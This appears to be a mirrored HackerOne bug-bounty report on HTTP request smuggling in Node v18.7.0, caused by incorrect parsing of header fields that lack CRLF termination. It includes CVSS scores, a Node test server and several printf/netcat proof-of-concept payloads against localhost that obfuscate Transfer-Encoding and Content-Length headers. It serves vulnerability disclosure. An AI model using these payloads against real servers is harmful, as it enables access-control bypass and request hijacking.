Lucene search

K
hackeroneVwx7H1:1888760
HistoryFeb 28, 2023 - 4:55 a.m.

Internet Bug Bounty: HTTP Request Smuggling Due to Incorrect Parsing of Header Fields

2023-02-2804:55:24
vwx7
hackerone.com
$1800
31

9.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

7.5 High

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:P/I:P/A:P

0.005 Low

EPSS

Percentile

73.9%

Summary:
The llhttp parser in the http module in Node v18.7.0 does not correctly handle header fields that are not terminated with CLRF. This may result in HTTP Request Smuggling.

Description:
The following chunked request is processed. It should be rejected as Transfer-Encoding header obfuscation may result in HRS when the upstream proxy does not process the Transfer-Encoding header.

A header that precedes the Transfer-Encoding, contains an empty value, and is not properly delimited with CLRF may be used for TE obfuscation.

POST / HTTP/1.1
Host: localhost:5000
x:\nTransfer-Encoding: chunked

1
A
0

The request is rejected when the preceding header has a value but improper CLRF.

POST / HTTP/1.1
Host: localhost:5000
x:x\nTransfer-Encoding: chunked

1
A
0

Steps To Reproduce:

Server
Run the server: node app.js

// https://nodejs.org/en/docs/guides/anatomy-of-an-http-transaction/
const http = require('http');

http.createServer((request, response) => {
  let body = [];
  request.on('error', (err) => {
    response.end("Request Error: " + err)
  }).on('data', (chunk) => {
        body.push(chunk);
  }).on('end', () => {
    body = Buffer.concat(body).toString();

    // log the body to stdout to catch the smuggled request
    console.log("Response");
    console.log(request.headers);
    console.log(body);
    console.log("---");

    response.on('error', (err) => {
      // log the body to stdout to catch the smuggled request
        response.end("Response Error: " + err)
    });

    response.end("Body length: " + body.length.toString() + " Body: " + body);
  });
}).listen(5000);

Payload

printf "POST / HTTP/1.1\r\n"\
"Host: localhost\r\n"\
" x:\nTransfer-Encoding: chunked\r\n"\
"\r\n"\
"1\r\n"\
"A\r\n"\
"0\r\n"\
"\r\n" | nc localhost 5000

Output

HTTP/1.1 200 OK
Date: Sat, 20 Aug 2022 02:59:38 GMT
Connection: keep-alive
Keep-Alive: timeout=5
Content-Length: 22

Body length: 1 Body: A

Note:

printf "POST / HTTP/1.1\r\n"\
"Host: localhost\r\n"\
" Transfer-Encoding: yeet\r\n"\
" Transfer-Encoding: \n"\
" Transfer-Encoding: chunked\r\n"\
"\r\n"\
"1\r\n"\
"A\r\n"\
"0\r\n"\
"\r\n" | nc localhost 5000

This also works with the resulting wonky header:

HTTP/1.1 200 OK
Date: Sat, 20 Aug 2022 03:06:09 GMT
Connection: keep-alive
Keep-Alive: timeout=5
Content-Length: 22

Body length: 1 Body: A
Response
{ host: 'localhost:5000', 'transfer-encoding': 'yeet, , chunked' }
A

CVE-2022-23315 relates to handling of newline bytes in the field-value. Header field-values should only contain optional trailing whitespace and VCHAR (visible ascii characters). Node accepting a CLRF in the field is an incorrect implementation of the field-value parser.

This bug is different because it relates to handling of header fields immediately preceding a header such as Transfer-Encoding. When the preceding header is not properly terminated with a CLRF and when the value is empty, node will accept the Transfer-Encoding header (or any other header such as Content-Length). It should be rejected as a 400.

Here’s a better example for you:

This is invalid and is rejected.
x:a\nTransfer-Encoding: chunked\r\n

This is invalid but accepted by latest node release as a valid transfer-encoding.
x:\nTransfer-Encoding: chunked\r\n

Let’s look at Content-Length because this may also be abused (along with Transfer-Encoding) to achieve HRS.

This is rejected. That’s good!

printf "POST / HTTP/1.1\r\n"\
"Host: localhost\r\n"\
"X:X\nContent-Length: 4\r\n"\
"AAAA\r\n"
"\r\n" | nc localhost 5000

This is accepted. That’s borked!

printf "POST / HTTP/1.1\r\n"\
"Host: localhost\r\n"\
"X:\nContent-Length: 4\r\n"\
"AAAA\r\n"
"\r\n" | nc localhost 5000

Impact

HTTP Request Smuggling can lead to access control bypass.

9.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

7.5 High

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:P/I:P/A:P

0.005 Low

EPSS

Percentile

73.9%